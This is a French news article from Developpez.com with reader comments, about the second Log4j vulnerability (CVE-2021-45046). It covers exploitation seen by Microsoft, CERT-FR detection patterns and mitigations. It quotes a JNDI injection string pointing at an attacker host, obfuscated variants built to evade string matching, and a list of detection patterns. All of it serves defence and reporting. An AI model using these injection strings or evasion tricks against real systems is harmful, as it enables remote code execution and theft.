IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Deuxième vulnérabilité Log4j découverte : un correctif est déjà publié, le correctif de la première vulnérabilité étant « incomplet »

Le , par Stéphane le calme

85PARTAGES

12  0 
Une deuxième vulnérabilité impliquant Apache Log4j a été découverte mardi après que des experts en cybersécurité aient passé des jours à essayer de corriger ou d'atténuer CVE-2021-44228. La description de la nouvelle vulnérabilité, CVE 2021-45046, indique que le correctif pour résoudre CVE-2021-44228 dans Apache Log4j 2.15.0 était « incomplet dans certaines configurations autres que celles par défaut ». « Cela pourrait permettre aux attaquants... de créer des données d'entrée malveillantes à l'aide d'un modèle de recherche JNDI, ce qui entraînerait une attaque par déni de service (DOS) », indique la description de CVE. Apache a déjà publié un correctif, Log4j 2.16.0, pour ce problème. Le CVE indique que Log4j 2.16.0 résout le problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut. Il note que le problème peut être atténué dans les versions précédentes en supprimant la classe JndiLookup du chemin de classe.

Une vulnérabilité dans Log4J permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité indiquent que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Après que les responsables de log4j ont publié la version 2.15.0 pour corriger la vulnérabilité Log4Shell, un vecteur d'attaque supplémentaire a été identifié et signalé dans CVE-2021-45046. Les recherches de LunaSec montre que ce nouveau CVE invalide les atténuations précédentes utilisées pour protéger les versions 2.7.0 <= Apache log4j <= 2.14.1 de Log4Shell dans certains cas.

Conditions de la vulnérabilité​

Vous pouvez toujours être vulnérable à Log4Shell (RCE) si vous n'avez activé que l'indicateur noMsgFormatLookups ou défini %m{nolookups} lorsque vous définissez également des données dans le ThreadContext avec des données contrôlées par un attaquant. Dans ce cas, vous devez passer à 2.16.0 ou bien vous serez toujours vulnérable à RCE.

Le nouveau CVE est difficile à comprendre

La mention d'un éventuel RCE est malheureusement absente du CVE publié. Dans le CVE, il ne mentionne qu'une éventuelle attaque "Denial-of-Service" pour les versions antérieures à 2.15.0.

En raison de ces résultats, LunaSec recommande à tous ceux qui utilisent log4j de mettre immédiatement à niveau vers 2.16.0 ou une version ultérieure, ou de corriger manuellement leurs classes log4j.

John Bambenek, expert en cybersécurité pour le compte de Netenrich, a déclaré que la solution consiste à désactiver complètement la fonctionnalité JNDI (ce qui est le comportement par défaut dans la dernière version). « Au moins une douzaine de groupes utilisent ces vulnérabilités, donc des mesures immédiates doivent être prises pour corriger, supprimer JNDI ou le retirer du chemin de classe (de préférence tout ce qui précède) », a déclaré Bambenek.

La société de sécurité internationale ESET a publié une carte indiquant où les tentatives d'exploitation de Log4j ont été effectuées, le volume le plus élevé se produisant aux États-Unis, au Royaume-Uni, en Turquie, en Allemagne et aux Pays-Bas. 1 Le volume de nos détections confirme qu'il s'agit d'un problème à grande échelle qui ne disparaîtra pas de sitôt », a déclaré Roman Kováč, directeur de la recherche chez ESET.


Microsoft détecte une nouvelle vague d'activités parrainées par l'État se concentrant sur le bogue Logj4

L'équipe unifiée de renseignement sur les menaces de Microsoft, comprenant le Microsoft Threat Intelligence Center (MSTIC), l'équipe Microsoft 365 Defender Threat Intelligence, RiskIQ et l'équipe Microsoft de détection et de réponse (DART), entre autres, a suivi les menaces en profitant de CVE-2021- 44228, une vulnérabilité d'exécution de code à distance (RCE) dans Apache Log4j 2 appelée « Log4Shell ».

La vulnérabilité permet l'exécution de code à distance non authentifié, et elle est déclenchée lorsqu'une chaîne spécialement conçue fournie par l'attaquant via une variété de vecteurs d'entrée différents est analysée et traitée par le composant vulnérable Log4j 2.

La plupart des attaques que Microsoft a observées à l'heure actuelle étaient liées à l'analyse de masse par des attaquants tentant d'identifier des systèmes vulnérables, ainsi qu'à l'analyse par des sociétés de sécurité et des chercheurs. Un exemple de modèle d'attaque apparaîtrait dans un journal de requêtes Web avec des chaînes comme les suivantes*: ${jndi:ldap://[attacker site]/a}.

Un attaquant effectue une requête HTTP sur un système cible, qui génère un journal à l'aide de Log4j 2 qui utilise JNDI pour effectuer une requête sur le site contrôlé par l'attaquant. La vulnérabilité amène alors le processus exploité à atteindre le site et à exécuter la charge utile. Dans de nombreuses attaques observées, le paramètre appartenant à l'attaquant est un système de journalisation DNS, destiné à enregistrer une demande sur le site pour identifier les systèmes vulnérables.

La chaîne spécialement conçue qui permet l'exécution de cette vulnérabilité peut être identifiée via plusieurs composants. La chaîne contient "jndi", qui fait référence à Java Naming and Directory Interface. Suite à cela, le protocole, tel que "ldap", "ldaps", "rmi", "dns", "iiop" ou "http", précède le domaine de l'attaquant.

Alors que les équipes de sécurité s'efforcent de détecter l'exploitation de la vulnérabilité, les attaquants ont ajouté de l'obscurcissement à ces demandes pour échapper aux détections basées sur des modèles de demande. Microsoft a vu des évènements comme l'exécution d'une commande inférieure ou supérieure dans la chaîne d'exploitation ({jndi:${lower:l}${lower:d}a${lower:p})et des tentatives d'obscurcissement encore plus compliquées (${$ {::-j}${::-n}${::-d}${::-i}) qui tentent tous de contourner les détections de correspondance de chaîne.

Au moment ou Microsoft a publié son billet, la grande majorité de l'activité observée était de l'analyse, mais des activités d'exploitation et de post-exploitation ont également été observées. En fonction de la nature de la vulnérabilité, une fois que l'attaquant a un accès et un contrôle complets d'une application, il peut atteindre une multitude d'objectifs. Microsoft a observé des activités telles que l'installation de mineurs de pièces, Cobalt Strike pour permettre le vol d'identifiants et le mouvement latéral, et l'exfiltration de données à partir de systèmes compromis.

Au 14 décembre 2021, Microsoft a observé plusieurs acteurs de la menace tirant parti de la vulnérabilité CVE-2021-44228 dans les attaques actives. Microsoft continuera de surveiller les menaces en tirant parti de cette vulnérabilité et de fournir des mises à jour dès qu'elles seront disponibles.

Activité de l'État-nation

Le MSTIC a également observé que la vulnérabilité CVE-2021-44228 était utilisée par plusieurs groupes d'activités d'États-nations suivis provenant de Chine, d'Iran, de Corée du Nord et de Turquie. Cette activité va de l'expérimentation pendant le développement, à l'intégration de la vulnérabilité au déploiement de la charge utile dans la nature et à l'exploitation par rapport aux cibles pour atteindre les objectifs de l'acteur.

Par exemple, le MSTIC a observé PHOSPHORUS, un acteur iranien qui a déployé un ransomware, acquérant et modifiant l'exploit Log4j.

En outre, HAFNIUM, un groupe d'acteurs menaçants opérant à partir de la Chine, a été observé utilisant la vulnérabilité pour attaquer l'infrastructure de virtualisation pour étendre son ciblage typique. Dans ces attaques, des systèmes associés à HAFNIUM ont été observés utilisant un service DNS généralement associé à une activité de test des systèmes de fingerprinting.

Courtiers d'accès associés aux ransomwares

MSTIC et l'équipe Microsoft 365 Defender ont confirmé que plusieurs groupes d'activités suivis agissant en tant que courtiers d'accès ont commencé à utiliser la vulnérabilité pour obtenir un accès initial aux réseaux cibles. Ces courtiers d'accès vendent ensuite l'accès à ces réseaux à des affiliés de ransomware-as-a-service. L'éditeur a observé que ces groupes tentaient d'exploiter à la fois les systèmes Linux et Windows, ce qui peut entraîner une augmentation de l'impact des ransomwares exploités par l'homme sur ces deux plateformes de système d'exploitation.

L'activité d'analyse de masse se poursuit

La grande majorité du trafic observé par Microsoft reste des analyses de masse par les attaquants et les chercheurs en sécurité. Microsoft a observé une adoption rapide de cette vulnérabilité dans les botnets existants comme Mirai, des campagnes existantes ciblant auparavant les systèmes Elasticsearch vulnérables pour déployer des mineurs de crypto-monnaie et une activité déployant la porte dérobée Tsunami sur les systèmes Linux. Bon nombre de ces campagnes exécutent des activités d'analyse et d'exploitation simultanées pour les systèmes Windows et Linux, à l'aide de commandes Base64 incluses dans la demande JDNI:ldap:// pour lancer des commandes bash sous Linux et PowerShell sous Windows.

Microsoft a également continué à observer des activités malveillantes effectuant des fuites de données via la vulnérabilité sans laisser tomber une charge utile. Ce scénario d'attaque pourrait être particulièrement impactant contre les périphériques réseau dotés d'une terminaison SSL, où l'acteur pourrait divulguer des secrets et des données.

Mesures d'atténuation

Le CERT-FR recommande de réaliser une analyse approfondie des journaux réseau. Les motifs suivants permettent d'identifier une tentative d'exploitation de cette vulnérabilité lorsqu'ils sont utilisés dans les URLs ou certaines en-têtes HTTP comme user-agent :

Code : Sélectionner tout
1
2
${jndi:
$%7Bjndi:     (prend en compte un obscurcissement simple)
Cependant, les attaquants peuvent utiliser des moyens d’obscurcissement pour contourner les motifs de détection précédents. Les motifs suivants permettent de prendre en compte certaines méthodes d'obscurcissement mais peuvent provoquer des faux positifs :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
${${
${::-
%24%7B%3A%3A-
${env:
${date:
${lower:
${upper:
hostName}
}${
${                   (génère beaucoup de faux positifs, mais très exhaustif)
Afin de déterminer si une tentative d'exploitation a réussi, et dans le cas où vous disposeriez de journaux contenant des requêtes DNS, il est recommandé de les corréler aux résultats des motifs précédemment énoncés. En effet, si l’exécution d'une requête de type ${jndi:xxx://nom.domaine.com} a fonctionné, une résolution DNS sera alors effectuée pour résoudre le nom de domaine externe nom.domaine.com. L'émission d'une requête DNS peut également faire l'objet d'une trace dans les journaux du serveur applicatif. Ainsi, il peut être utile de chercher le motif com.sun.jndi.dns.DnsContext@ dans ces journaux. Une résolution de domaine externe ne signifie pas qu'une exécution de code a réussi mais permet de confirmer que l'application est vulnérable. Il sera donc nécessaire de poursuivre l'analyse des journaux pour détecter une compromission.

Il est fortement recommandé d'utiliser la version 2.15.0 de log4j dès que possible. Cependant, en cas de difficulté de migration vers cette version, les contournements ci-dessous peuvent être appliqués temporairement :
  • Pour les applications utilisant les versions 2.7.0 et ultérieures de la bibliothèque log4j, il est possible de se prémunir contre toute attaque en modifiant le format des évènements à journaliser avec la syntaxe %m{nolookups} pour les données qui seraient fournies par l'utilisateur. Cette modification impose de modifier le fichier de configuration de log4j pour produire une nouvelle version de l'application. Cela requiert donc d'effectuer de nouveau les étapes de validation technique et fonctionnelle avant le déploiement de cette nouvelle version.
  • Pour les applications utilisant les versions 2.10.0 et ultérieures de la bibliothèque log4j, il est également possible de se prémunir contre toute attaque en modifiant le paramètre de configuration log4j2.formatMsgNoLookups à la valeur true, par exemple lors du lancement de la machine virtuelle Java avec l'option -Dlog4j2.formatMsgNoLookups=true. Une autre alternative consiste à supprimer la classe JndiLookup dans le paramètre classpath pour éliminer le vecteur principal d'attaque (les chercheurs n'excluent pas l'existence d'un autre vecteur d'attaque).

Sources : CVE 2021-45046, LunaSec, Microsoft, CERT-FR

Une erreur dans cette actualité ? Signalez-le nous !

Avatar de gabriel21
Membre éprouvé https://www.developpez.com
Le 21/12/2021 à 23:48
Je vois dans les crises sécuritaires actuelles un problème plus profond :
L'architecture système repose sur une notion de couche et les développeurs ne comprennent plus rien aux bases, voir en ont rien à "bip".
Combien de fois j'ai pu entendre, j'en ai rien à faire de comment ça marche tant que ça marche de la part de nombreux développeurs (et pas uniquement Java ).
Il nous font "bip" tous ces administrateurs système avec leur "bip" de mise à jour qui casse mon super code de la mort qui tue tout. Parce que le problème, ce n'est pas nous, mais forcément les autres...
Combien de fois je suis épouvanté par le fait que juste pour afficher "Hello World", il faut un serveur avec 2 processeurs et 64Go de mémoire? Moi qui es commencé sur des systèmes avec des Pentium III et 64 Mo de ram.
Car pourquoi se faire "bip" par les dépendances quand il suffit d'intégrer un framework de 4 Go pour 3 fonctions qui pèsent 3Ko, et plusieurs fois dans le projet...

Mais moi qui fait un peu de programmation, mais qui suis administrateur système de vocation, je pleure.
Pour moi, le minimum est le mieux. Je pleure quand je dois faire 5 mises à jour de noyau Linux parce qu’il y a une faille sur une fonctionnalité que nous n'utilisons pas, mais vous comprenez avoir une personne qui compile un noyau qui correspond à notre besoin, ça coûte trop chère alors on utilise un noyau générique qui pèse 150Mo alors que l'on pourrait utiliser un noyau de 50 Mo qui ne demande pas de mise à jour régulière. Je regrettes ces serveur qui ont un Uptime de 3000 jours, car ayant un noyau optimisé pour leur matériel et n'utilisant pas le chargement dynamique de module du noyau Linux, n'ont pas de failles du moins connue...
9  0 
Avatar de marsupial
Expert confirmé https://www.developpez.com
Le 20/12/2021 à 7:36
Des fois, cela a du bon d'être retraité...

Joyeuses fêtes à tous les admins !
6  0 
Avatar de walfrat
Membre chevronné https://www.developpez.com
Le 20/12/2021 à 12:18
Citation Envoyé par Fleur en plastique Voir le message
Ce que ça m'inspire, c'est que Apache et Java, c'est de la M.

Mais surtout, ce qui est de loin le pire, c'est le fait de faire des projets qui incluent je ne sais combien de dépendances externes, et donc la moindre faille dans un composant, même mineur comme ici, met en danger tout le Web parce que je ne sais combien de projets l'incluent par paresse.

De la même manière, la moindre dépendance qui disparaît du jour au lendemain peut empêcher le fonctionnement de milliers de projets, c'était arrivé à Node.Js.

Je sais bien que réinventer la roue n'est pas une bonne chose, mais j'ai toujours milité pour limiter le nombre de dépendances externes dans mes projets. Ma règle d'or : si les doigts d'une main ne suffisent pas à compter les projets externes dont dépendent mon propre projet, c'est qu'il y en a trop et un jour ou l'autre, ça va me péter à la gueule.

On en a ici la preuve.
C'est débile comme raisonnement, la faille de log4j, faut utiliser log4j pour qu'elle soit exploitable.
Avoir log4j dans ton classpath ne rend pas ton application vulnérable.

Et comment compte tu le nombre de projet dont tu dépend ? Spring c'est un projet ? Ou tu compte un projet par Spring-context,Spring-orm,Spring-tx ?

Tu compte Apache tomcat comme une dépendance dans ton projet ? Et l'OS de déploiement c'est aussi une dépendance ?

Enfin, entre ton codage, et celui de librairie éprouvé (open source ou non), le tiens aura sans doute largement plus de failles de sécurité.
6  0 
Avatar de marsupial
Expert confirmé https://www.developpez.com
Le 15/12/2021 à 16:15
Pour l'instant l'intéressant avec l'open source est qu'on dispose de patchs rapides. Mais tellement utilisé qu'on est pas loin d'une catastrophe. Log4j n'étant plus amélioré depuis 2013 d'après ce que j'ai compris de ars technica, la faille est exploitée depuis sa révélation et le patch 2.16.0 est urgent pour être utilisé sans risque. La faille date de 2013 et n'a été découverte que le 23 novembre 2021 par des chercheurs en sécurité d'Alibaba.
5  0 
Avatar de grunk
Modérateur https://www.developpez.com
Le 15/12/2021 à 17:03
Si on pouvait supprimer la mention "Apache" quand on parle de Log4J svp ... j'en peux plus de devoir expliquer que les serveurs web Apache n'ont rien à voir avec cette faille et que non ca ne sert à rien de tous les couper tant qu'on aura pas patcher votre application web qui n'est de toute manière pas concernée
5  0 
Avatar de chrtophe
Responsable Systèmes https://www.developpez.com
Le 20/12/2021 à 8:45
Quand on utilise Java le samedi à Broadway, ça hacke comme à Meudon.
6  1 
Avatar de marsupial
Expert confirmé https://www.developpez.com
Le 20/12/2021 à 9:44
Si à chaque faille découverte on devait tout jeter, on retourne à la machine à écrire. Plus de 60 000 failles logicielles découvertes en un an(source dvp) , personne n'est épargné.
5  0 
Avatar de Escapetiger
Expert éminent https://www.developpez.com
Le 24/12/2021 à 13:34
Nous sommes dans un forum spécialisé mais tout de même pour une question de clarté avec tous ces sigles :

IPS
« Un système de prévention d'intrusion (ou IPS, intrusion prevention system) est un outil des spécialistes en sécurité des systèmes d'information, similaire aux systèmes de détection d'intrusion (ou IDS, intrusion detection system), permettant de prendre des mesures afin de diminuer les impacts d'une attaque. C'est un IDS actif, il peut par exemple détecter un balayage automatisé malveillant, et bloquer les ports.

Les IPS peuvent donc parer les attaques connues et inconnues. Comme les IDS, ils ne sont pas fiables à 100 % et risquent même en cas de faux positif de bloquer du trafic légitime.
(.../...) »

EDR
« Un logiciel de type EDR désigne une technologie émergente de détection des menaces sur les EndPoints (ordinateurs, serveurs). Ce terme Endpoint Detection and Response (EDR), est utilisé pour la première fois en juillet 2013 par Anton Chuvakin1 de la société Gartner.
(.../...)
Combiné avec un moteur basé sur de l'intelligence artificielle, le logiciel EDR est très réactif dans la détection et l'arrêt de menaces (Malwares, virus, attaques zero Day, menaces persistantes avancées, ...). L'intelligence artificielle lui permet d'être auto-apprenant et de ne pas devoir se connecter sur internet pour mettre à jour des bases de données.
»

Sources Wikipedia :

Système de prévention d'intrusion

Endpoint detection and response
5  0 
Avatar de sekaijin
Expert éminent https://www.developpez.com
Le 24/12/2021 à 16:40
Lister les dépendances par transitivité pour connaitre les projet "Potentiellement" impactés
N'est en soit pas très compliqué mais très largement insuffisant surtout si on fait ça sur maven central.
En effet Maven Central garde aussi toute les vielles versions donc même s'il y a eu des corrections les version non corrigé restent.

On peut très vite avoir des chiffres énorme sans pour autant que ce soit la cata.

Quant à ce que que j'ai lu ici sur YAKAFOKON c'est très loin d'être si facile. Je m'occupe d'un outil qui est composé de centaines d'éléments divers avec un chargement dynamique la bête a tourné 8 ans sans interruption, avec des mise à jour à chaud, un changement de serveur physique à chaud (juste des arrêts partiels de certain composants quelques minutes).
Arriver à qualifier la compatibilité de plusieurs centaines de composants est un très long travail. Il nous est déjà arrivé de revenir en arrière après plusieurs mois de travail parce qu'un composants n'était plus compatible avec l'ensemble.

Quant à l'approche de google si j'avais suivi la même approche j'aurais à ce jour environs 200 projet impactés.
Hors tous dépendent d'une librairie qui est compilé avec log4j (donc une dépendance). Mais cette librairie importe une partie seulement de log4j et supprime tout le code inutile. La partie impactée par le PB de sécurité n'est plus dans le code de la lib. les 200 projets ne sont donc pas impactés.

à contraio je suis tombé sur un dev qui importe par transitivité un clone de log4j qui lui embarque le code en question et là l'approche de Google ne l'a pas trouvé et pour cause. Ouf il s'agissait d'un démonstrateur pas de prod.

Donc à tous les YAKAFOKON Oui il est très simple dans le gestionnaire de dépendance de surcharger la version de log4j pour en choisir une non impactée.
Mais sur les millions de lignes de code comment garantir que ce changement ne va pas introduire de bug ?
On pourrait imaginer que finalement ce ne sont que des log c'est pas si grave si on n'a pas la trace tant que le prog fonctionne mais voilà un changement de version de log4j sans précaution et up un nullpointerexception dans un log.info et le prog ne fonctionne plus.

Il n'y a rien de simple. C'est un travail permanent, une vigilance, et des mois de tests pour valider un assemblage.

A+JYT
5  0 
Avatar de chrtophe
Responsable Systèmes https://www.developpez.com
Le 21/12/2021 à 10:56
Est-ce vraiment Java le problème ? ou plutôt l'utilisation de composants externes mal programmée, ou des failles de la JVM ?
Pour ce dernier aspect, les postes faillibles :
- sont-ils à jour au niveau Java ?
- L'utilisation d’une JVM autre que celle d'Oracle est il plus sûr ?
4  0